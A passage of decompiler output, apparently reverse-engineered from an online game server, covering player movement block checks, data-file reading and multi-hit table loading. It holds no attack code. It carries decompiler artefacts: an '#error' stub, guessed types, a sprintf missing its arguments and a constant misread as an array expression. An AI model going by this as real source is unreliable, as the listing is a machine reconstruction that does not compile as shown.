"g_MoveBlockCheck"); return v4; } //----- (0048F340) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(void *this, unsigned int x, unsigned int y) { void *v3; // esi@1 char result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "g_FindEmpty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "g_FindEmpty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v3 + 98) + 20), x, y) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v3 + 98) + 20), x, y) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "g_FindEmpty"); result = 1; } else { *((_DWORD *)v3 + 23141) = x; *((_DWORD *)v3 + 23142) = y; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "g_FindEmpty"); result = 0; } return result; } //----- (0048F440) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::smo_BlockCheck(void *this, unsigned int finalx, unsigned int finaly) { void *v3; // esi@1 int v4; // ecx@1 int v5; // edx@3 int v6; // eax@3 char result; // al@4 int v8; // ecx@6 int v9; // eax@6 int v10; // ecx@6 int v11; // eax@12 FunctionEntarance _; // [sp+34h] [bp-10h]@1 int v13; // [sp+40h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::smo_BlockCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_BlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)((char *)v3 + 98); v13 = 0; if ( v4 ) { if ( ShineObjectClass::ShinePlayer::sp_MoveBlockCheck(v3, finalx, finaly) ) { v8 = *(_DWORD *)((char *)v3 + 78); v9 = *(_DWORD *)v8 - *((_DWORD *)v3 + 23141); v10 = *(_DWORD *)(v8 + 4) - *((_DWORD *)v3 + 23142); if ( (unsigned int)(v9 * v9 + v10 * v10) >= 0x384 && ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(v3, finalx + 10, finaly) && ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(v3, finalx - 10, finaly) && ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(v3, finalx, finaly + 10) && ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(v3, finalx, finaly - 10) ) { ShineObjectClass::ShineObject::so_MoveTo(v3, *((_DWORD *)v3 + 23141), *((_DWORD *)v3 + 23142), 10); MoveManager::mm_Halt((MoveManager *)((char *)v3 + 140)); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2528))(v3); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2536))(v3); v13 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } } else { v11 = *(_DWORD *)((char *)v3 + 78); *((_DWORD *)v3 + 23141) = *(_DWORD *)v11; *((_DWORD *)v3 + 23142) = *(_DWORD *)(v11 + 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BlockCheck"); result = 1; } else { if ( *((_DWORD *)v3 + 36) != 3 ) { v5 = *((_DWORD *)v3 + 35); *((_DWORD *)v3 + 42) = 0; *((_DWORD *)v3 + 43) = 0; *((_DWORD *)v3 + 44) = 0; *((_DWORD *)v3 + 45) = 0; *((_DWORD *)v3 + 46) = 0; *((_DWORD *)v3 + 37) = 0; *((_DWORD *)v3 + 36) = 0; v6 = *(_DWORD *)(v5 + 78); *((_DWORD *)v3 + 40) = *(_DWORD *)v6; *((_DWORD *)v3 + 41) = *(_DWORD *)(v6 + 4); } (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2528))(v3); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2536))(v3); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BlockCheck"); result = 0; } return result; } // 43A170: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); //----- (0048F660) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineMobileObject::smo_StopBlockCheck() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_StopBlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_StopBlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_StopBlockCheck"); return 1; } //----- (0048F6B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::smo_StopBlockCheck(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // edx@5 int v4; // eax@5 int v6; // edx@9 int v7; // eax@9 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_StopBlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_StopBlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 78); if ( *((_DWORD *)v1 + 23141) == *(_DWORD *)v2 && *((_DWORD *)v1 + 23142) == *(_DWORD *)(v2 + 4) ) { LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_StopBlockCheck"); return 1; } if ( *(_DWORD *)((char *)v1 + 98) ) { if ( ShineObjectClass::ShinePlayer::sp_MoveBlockCheck( v1, **(_DWORD **)((char *)v1 + 78), *(_DWORD *)(*(_DWORD *)((char *)v1 + 78) + 4)) ) { ShineObjectClass::ShineObject::so_MoveTo(v1, *((_DWORD *)v1 + 23141), *((_DWORD *)v1 + 23142), 4); if ( *((_DWORD *)v1 + 36) != 3 ) { v6 = *((_DWORD *)v1 + 35); *((_DWORD *)v1 + 42) = 0; *((_DWORD *)v1 + 43) = 0; *((_DWORD *)v1 + 44) = 0; *((_DWORD *)v1 + 45) = 0; *((_DWORD *)v1 + 46) = 0; *((_DWORD *)v1 + 37) = 0; *((_DWORD *)v1 + 36) = 0; v7 = *(_DWORD *)(v6 + 78); *((_DWORD *)v1 + 40) = *(_DWORD *)v7; *((_DWORD *)v1 + 41) = *(_DWORD *)(v7 + 4); } (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2528))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2536))(v1); } goto LABEL_11; } if ( *((_DWORD *)v1 + 36) != 3 ) { v3 = *((_DWORD *)v1 + 35); *((_DWORD *)v1 + 42) = 0; *((_DWORD *)v1 + 43) = 0; *((_DWORD *)v1 + 44) = 0; *((_DWORD *)v1 + 45) = 0; *((_DWORD *)v1 + 46) = 0; *((_DWORD *)v1 + 37) = 0; *((_DWORD *)v1 + 36) = 0; v4 = *(_DWORD *)(v3 + 78); *((_DWORD *)v1 + 40) = *(_DWORD *)v4; *((_DWORD *)v1 + 41) = *(_DWORD *)(v4 + 4); } (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2528))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2536))(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_StopBlockCheck"); return 0; } // 43A170: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); //----- (0048F890) -------------------------------------------------------- #error "48F890: undefined or illegal type '#740' (funcsize=272)" //----- (0048FC10) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_FindBlockLocate(void *this, int locate, int distance, int goal, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)) { void *v5; // esi@1 char v6; // al@1 char v7; // bl@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_FindBlockLocate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = ShineObjectClass::ShineObject::so_FindBlockLocateFrom( v5, *(_DWORD *)((char *)v5 + 78), locate, distance, goal, mbi_blockfunction); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocate"); return v7; } //----- (0048FCD0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 84; return result; } //----- (0048FCF0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xF47u, 0xCFu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0048FDA0) -------------------------------------------------------- void __cdecl std::fill(MultiHitData::MultiHitElement *_First, MultiHitData::MultiHitElement *_Last, MultiHitData::MultiHitElement *_Val) { MultiHitData::MultiHitElement *v3; // eax@1 void *v4; // edi@2 v3 = _First; while ( v3 != _Last ) { v4 = v3; ++v3; memcpy(v4, _Val, 0x54u); } } //----- (0048FDD0) -------------------------------------------------------- MultiHitData::MultiHitElement *__cdecl std::copy_backward(MultiHitData::MultiHitElement *_First, MultiHitData::MultiHitElement *_Last, MultiHitData::MultiHitElement *_Dest) { MultiHitData::MultiHitElement *v3; // edx@1 MultiHitData::MultiHitElement *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { --v3; --result; memcpy(result, v3, 0x54u); } return result; } //----- (0048FE00) -------------------------------------------------------- MultiHitData::MultiHitElement *__cdecl std::_Uninit_copy>(MultiHitData::MultiHitElement *_First, MultiHitData::MultiHitElement *_Last, MultiHitData::MultiHitElement *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { MultiHitData::MultiHitElement *v5; // edx@1 MultiHitData::MultiHitElement *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, v5, 0x54u); ++v5; } return result; } //----- (0048FE30) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(MultiHitData::MultiHitElement *_First, unsigned int _Count, MultiHitData::MultiHitElement *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x54u); v6 = (char *)v6 + 84; --v5; } while ( v5 ); } } //----- (0048FE60) -------------------------------------------------------- MultiHitData::MultiHitElement *__thiscall MultiHitData::MultiHitTable::operator__(MultiHitData::MultiHitTable *this, unsigned __int16 sub) { MultiHitData::MultiHitTable *v2; // edi@1 MultiHitData::MultiHitElement *v3; // esi@1 int v4; // eax@2 FunctionProfiler::PerformanceRecorder *v5; // ecx@5 MultiHitData::MultiHitElement *v7; // esi@7 bool v8; // zf@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MultiHitData::MultiHitTable::operator [](WORD sub)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MultiHitData::MultiHitTable::operator [](WORD sub)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->mht_Array._Myfirst; if ( v3 ) v4 = v2->mht_Array._Mylast - v3; else v4 = 0; if ( sub >= (unsigned int)v4 ) { --funcallanalizer.fca_stackpoint; v5 = &_PerformanceRecorder; LABEL_6: FunctionProfiler::PerformanceRecorder::pr_Exit(v5, "MultiHitData::MultiHitTable::operator [](WORD sub)"); return 0; } v7 = &v3[sub]; v8 = v7->mhe_ID == sub; --funcallanalizer.fca_stackpoint; v5 = &_PerformanceRecorder; if ( !v8 ) goto LABEL_6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MultiHitData::MultiHitTable::operator [](WORD sub)"); return v7; } //----- (0048FF50) -------------------------------------------------------- MultiHitData::MultiHitElement *__thiscall std::vector>::_Ufill(std::vector > *this, MultiHitData::MultiHitElement *_Ptr, unsigned int _Count, MultiHitData::MultiHitElement *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0048FF80) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector >::iterator v4; // eax@1 MultiHitData::MultiHitElement *v5; // ebx@2 std::vector >::iterator v6; // edx@2 const void *v7; // esi@3 void *v8; // edi@3 std::vector >::iterator *v9; // eax@5 v4 = _Last; if ( _First != _Last ) { v5 = this->_Mylast; v6 = _First; if ( (MultiHitData::MultiHitElement *)_Last != v5 ) { do { v7 = (const void *)v4; v8 = (void *)v6; *(_DWORD *)&v4 += 84; *(_DWORD *)&v6 += 84; memcpy(v8, v7, 0x54u); } while ( (MultiHitData::MultiHitElement *)v4 != v5 ); } this->_Mylast = (MultiHitData::MultiHitElement *)v6; } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; return v9; } //----- (0048FFD0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00490040) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, MultiHitData::MultiHitElement *_Val) { std::vector > *v4; // ebx@1 MultiHitData::MultiHitElement *v5; // ecx@1 unsigned int v6; // edi@2 signed int v7; // edx@3 unsigned int v8; // esi@4 int v9; // eax@6 int v10; // eax@11 int v11; // edi@15 int v12; // eax@18 MultiHitData::MultiHitElement *v13; // ST14_4@22 MultiHitData::MultiHitElement *v14; // ecx@22 int v15; // eax@23 int v16; // esi@25 MultiHitData::MultiHitElement *v17; // edx@26 MultiHitData::MultiHitElement *v18; // eax@26 MultiHitData::MultiHitElement *v19; // ecx@30 std::vector >::iterator v20; // edi@30 MultiHitData::MultiHitElement *v21; // ecx@31 MultiHitData::MultiHitElement *v22; // ST20_4@31 unsigned int v23; // esi@31 int v24; // [sp-Ch] [bp-70h]@1 MultiHitData::MultiHitElement _Tmp; // [sp+0h] [bp-64h]@1 int *v26; // [sp+54h] [bp-10h]@1 int v27; // [sp+60h] [bp-4h]@22 MultiHitData::MultiHitElement *_Wherea; // [sp+6Ch] [bp+8h]@32 MultiHitData::MultiHitElement *_Ptr; // [sp+70h] [bp+Ch]@22 void *_Newvec; // [sp+74h] [bp+10h]@22 MultiHitData::MultiHitElement *_Newveca; // [sp+74h] [bp+10h]@30 v4 = this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v26 = &v24; if ( v5 ) { v7 = (signed int)((unsigned __int64)(818089009i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[538].esc_skill.buffer[-v9 + 8839] < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v6 >= _Count + v10 ) { v19 = v4->_Mylast; v20 = _Where; _Newveca = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 84 >= _Count ) { _Wherea = &v19[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v19[-_Count], v19, v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v19 - 84 * _Count)); std::copy_backward( *(MultiHitData::MultiHitElement **)&v20, _Wherea, _Newveca); std::fill( *(MultiHitData::MultiHitElement **)&v20, (MultiHitData::MultiHitElement *)(*(_DWORD *)&v20 + 84 * _Count), &_Tmp); } else { std::_Uninit_copy>( *(MultiHitData::MultiHitElement **)&_Where, v19, (MultiHitData::MultiHitElement *)(*(_DWORD *)&_Where + 84 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(84 * _Count)); v21 = v4->_Mylast; v22 = v4->_Mylast; v27 = 2; std::vector>::_Ufill( v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 84, &_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (MultiHitData::MultiHitElement *)v23; std::fill( *(MultiHitData::MultiHitElement **)&_Where, (MultiHitData::MultiHitElement *)(v23 - 84 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[538].esc_skill.buffer[-(v6 >> 1) + 8839] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Newvec = operator new(84 * v11); v13 = v4->_Myfirst; v27 = 0; _Ptr = std::_Uninit_copy>( v13, *(MultiHitData::MultiHitElement **)&_Where, (MultiHitData::MultiHitElement *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(MultiHitData::MultiHitElement **)&_Where, v4->_Mylast, &_Ptr[v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v14 = v4->_Myfirst; if ( v14 ) v15 = v4->_Mylast - v14; else v15 = 0; v16 = v15 + v8; if ( v14 ) { v17 = v4->_Mylast; v18 = v4->_Myfirst; if ( v14 != v17 ) { do ++v18; while ( v18 != v17 ); } operator delete(v4->_Myfirst); } v4->_Myend = (MultiHitData::MultiHitElement *)((char *)_Newvec + 84 * v11); v4->_Mylast = (MultiHitData::MultiHitElement *)((char *)_Newvec + 84 * v16); v4->_Myfirst = (MultiHitData::MultiHitElement *)_Newvec; } } } //----- (00490310) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, MultiHitData::MultiHitElement _Val) { MultiHitData::MultiHitElement *v3; // edi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (004903B0) -------------------------------------------------------- void __thiscall MultiHitData::MultiHitTable::mht_Load(MultiHitData::MultiHitTable *this) { MultiHitData::MultiHitTable *v1; // ebx@1 int v2; // esi@1 __int16 v3; // dx@1 signed int v4; // edi@1 void *v5; // eax@3 void *v6; // eax@7 char *v7; // eax@11 signed int v8; // ecx@11 unsigned int v9; // eax@13 void *v10; // esi@17 MultiHitData::MultiHitElement *v11; // edi@19 int v12; // ecx@20 signed int v13; // edx@21 int v14; // eax@23 int v15; // edx@25 unsigned __int16 v16; // cx@28 unsigned __int16 v17; // cx@29 unsigned int v18; // edi@30 char v19; // cl@33 int v20; // edi@33 unsigned __int16 v21; // cx@37 unsigned __int16 v22; // cx@38 unsigned int v23; // edi@39 char v24; // cl@42 int v25; // edi@42 unsigned __int16 v26; // cx@46 unsigned __int16 v27; // cx@47 unsigned int v28; // edi@48 char v29; // cl@51 int v30; // edi@51 unsigned __int16 v31; // cx@55 unsigned __int16 v32; // cx@56 unsigned int v33; // edi@57 char v34; // cl@60 int v35; // edi@60 unsigned __int16 v36; // cx@64 unsigned __int16 v37; // cx@65 unsigned int v38; // edi@66 char v39; // cl@69 int v40; // edi@69 MultiHitData::MultiHitElement v41; // [sp-60h] [bp-1ECh]@13 unsigned int maxhandle; // [sp+0h] [bp-18Ch]@9 int v43; // [sp+4h] [bp-188h]@25 unsigned int num; // [sp+8h] [bp-184h]@1 MultiHitData::MultiHitElement def; // [sp+Ch] [bp-180h]@11 BinaryDataBox Reader; // [sp+64h] [bp-128h]@1 unsigned int cookie; // [sp+178h] [bp-14h]@74 int v48; // [sp+188h] [bp-4h]@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&Reader.baseclass_0); memset(&Reader.bdb_defaultblock, 0, 0xCCu); *(unsigned __int16 *)((char *)&Reader.bdb_defaultblock.AbRate5 + 1) = 0; HIBYTE(Reader.bdb_defaultblock.DmgRate5) = 0; v2 = 0; v48 = 0; BinaryDataBox::bdb_ReadData(&Reader, "../9Data/Shine/MultiHitType.shn"); v3 = 0; v4 = 0; num = Reader.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; if ( (signed int)num > 0 ) { do { if ( v2 < Reader.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v5 = CDataReader::GetRecord(&Reader.baseclass_0.baseclass_0, v2); v3 = 0; } else { v5 = &Reader.bdb_defaultblock; } if ( *(_WORD *)v5 > v4 ) { if ( v2 < Reader.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v6 = CDataReader::GetRecord(&Reader.baseclass_0.baseclass_0, v2); v3 = 0; } else { v6 = &Reader.bdb_defaultblock; } maxhandle = *(_WORD *)v6; v4 = maxhandle; } ++v2; } while ( v2 < (signed int)num ); } maxhandle = v4 + 1; def.mhe_ID = -1; v7 = (char *)&def.mhe_Array[0].oh_AbState; v8 = 5; do { *((_WORD *)v7 - 2) = v3; *(_DWORD *)v7 = 412; v7[4] = 0; *((_WORD *)v7 + 4) = v3; *((_WORD *)v7 + 3) = v3; v7 += 16; --v8; } while ( v8 ); memcpy(&v41, &def, sizeof(v41)); std::vector>::resize( &v1->mht_Array, maxhandle, v41); v9 = 0; maxhandle = 0; if ( (signed int)num > 0 ) { while ( 1 ) { if ( v9 < Reader.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v10 = CDataReader::GetRecord(&Reader.baseclass_0.baseclass_0, v9); else v10 = &Reader.bdb_defaultblock; v11 = v1->mht_Array._Myfirst; if ( v11 ) { v13 = (signed int)((unsigned __int64)(818089009i64 * (unsigned int)((char *)v1->mht_Array._Mylast - (char *)v11)) >> 32) >> 4; v12 = v13 + ((unsigned int)v13 >> 31); } else { v12 = 0; } if ( v11 ) v14 = v1->mht_Array._Mylast - v11; else v14 = 0; v15 = *(_WORD *)v10; v43 = v15 < (unsigned int)v14; if ( v15 >= (unsigned int)v14 ) { AssertClass::ac_AssertFail(&shineassert, "MultiHitData::MultiHitTable::mht_Load : Invalid ID", v15, v12); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_ID = *(_WORD *)v10; v16 = *((_WORD *)v10 + 1); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[0].oh_HitTimeRate = v16; if ( v16 ) { v17 = *(_WORD *)((char *)v10 + 37); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[0].oh_AbStateRate = v17; if ( v17 ) { v18 = BTree::operator__(&unk_615CF4, (const char *)v10 + 4); if ( v18 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MultiHitData::MultiHitTable::mht_Load : Abstate not found", (const char *)v10 + 4); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[0].oh_AbState = v18; v19 = *((_BYTE *)v10 + 36); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[0].oh_AbStrength = v19; v20 = *(_WORD *)v10; v43 = (unsigned __int8)v19 > 0u; if ( (unsigned __int8)v19 <= 0u ) { AssertClass::ac_AssertFail(&shineassert, "MultiHitData::MultiHitTable::mht_Load : Strength Zero", v20); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[0].oh_DamageRate = *(_WORD *)((char *)v10 + 39); } v21 = *(_WORD *)((char *)v10 + 41); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[1].oh_HitTimeRate = v21; if ( v21 ) { v22 = *(_WORD *)((char *)v10 + 77); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[1].oh_AbStateRate = v22; if ( v22 ) { v23 = BTree::operator__(&unk_615CF4, (const char *)v10 + 43); if ( v23 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MultiHitData::MultiHitTable::mht_Load : Abstate not found", (const char *)v10 + 43); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[1].oh_AbState = v23; v24 = *((_BYTE *)v10 + 76); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[1].oh_AbStrength = v24; v25 = *(_WORD *)v10; v43 = (unsigned __int8)v24 > 0u; if ( (unsigned __int8)v24 <= 0u ) { AssertClass::ac_AssertFail(&shineassert, "MultiHitData::MultiHitTable::mht_Load : Strength Zero", v25); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[1].oh_DamageRate = *(_WORD *)((char *)v10 + 79); } v26 = *(_WORD *)((char *)v10 + 81); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[2].oh_HitTimeRate = v26; if ( v26 ) { v27 = *((_WORD *)v10 + 59); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[2].oh_AbStateRate = v27; if ( v27 ) { v28 = BTree::operator__(&unk_615CF4, (const char *)v10 + 83); if ( v28 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MultiHitData::MultiHitTable::mht_Load : Abstate not found", (const char *)v10 + 83); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[2].oh_AbState = v28; v29 = *((_BYTE *)v10 + 117); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[2].oh_AbStrength = v29; v30 = *(_WORD *)v10; v43 = (unsigned __int8)v29 > 0u; if ( (unsigned __int8)v29 <= 0u ) { AssertClass::ac_AssertFail(&shineassert, "MultiHitData::MultiHitTable::mht_Load : Strength Zero", v30); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[2].oh_DamageRate = *((_WORD *)v10 + 60); } v31 = *((_WORD *)v10 + 61); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[3].oh_HitTimeRate = v31; if ( v31 ) { v32 = *((_WORD *)v10 + 80); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[3].oh_AbStateRate = v32; if ( v32 ) { v33 = BTree::operator__(&unk_615CF4, (const char *)v10 + 124); if ( v33 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MultiHitData::MultiHitTable::mht_Load : Abstate not found", (const char *)v10 + 124); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[3].oh_AbState = v33; v34 = *((_BYTE *)v10 + 159); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[3].oh_AbStrength = v34; v35 = *(_WORD *)v10; v43 = (unsigned __int8)v34 > 0u; if ( (unsigned __int8)v34 <= 0u ) { AssertClass::ac_AssertFail(&shineassert, "MultiHitData::MultiHitTable::mht_Load : 